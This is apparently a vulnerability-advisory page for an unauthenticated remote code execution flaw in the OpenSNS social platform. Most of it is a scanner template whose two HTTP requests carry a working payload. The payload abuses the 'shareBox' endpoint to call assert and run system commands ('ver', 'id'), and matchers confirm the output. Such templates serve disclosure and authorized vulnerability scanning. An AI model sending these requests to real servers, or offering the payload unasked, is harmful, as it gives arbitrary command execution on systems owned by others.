opensns-rce: OpenSNS - Remote Code Execution

日期: 2025-08-01 | 影响软件: OpenSNS | POC: 已公开

漏洞描述

OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.

PoC代码[已公开]

id: opensns-rce

info:
  name: OpenSNS - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: opensns,rce,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)'
      - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+)"
          - "Microsoft Windows"
        condition: or

      - type: word
        words:
          - "/Application/"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dde4a4438a81d5c428e2286629f95be64dd5ee7d74c1a6a9ccc9a259a02f00ed022020417030355369584b3ae95ff0152897d686e3a6e0dafee8acc8c542cfdd3e49:922c64590222798bb761d5b6d8e72950

相关漏洞推荐